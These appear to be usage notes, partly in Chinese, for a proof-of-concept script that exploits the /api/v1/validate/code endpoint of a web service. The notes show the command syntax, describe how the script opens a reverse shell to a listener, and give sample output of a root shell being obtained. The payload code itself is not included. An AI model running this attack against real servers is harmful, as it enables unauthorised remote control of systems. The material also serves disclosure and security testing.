python3 poc.py -i <web_ip> -p <web_port> -l <listener_ip> -lp <listener_port>
此脚本利用目标 Web 服务器上易受攻击的 API 端点 /api/v1/validate/code。
它首先验证易受攻击路径是否存在，然后在指定的侦听 IP 和端口上启动 TCP 侦听器。
侦听器就绪后，它会向目标发送特制有效载荷，以生成一个连接到侦听器的反向 shell。
python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[+] Vulnerability detected at http://192.168.0.2:7860/api/v1/validate/code
[+] Listening on 192.168.0.3:4444 ...
[+] Sending payload to http://192.168.0.2:7860/api/v1/validate/code
[+] Connection from 192.168.0.2:60440
# whoami
whoami
root
# exit
[*] Exiting shell.
python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[-] Doesn't look vulnerable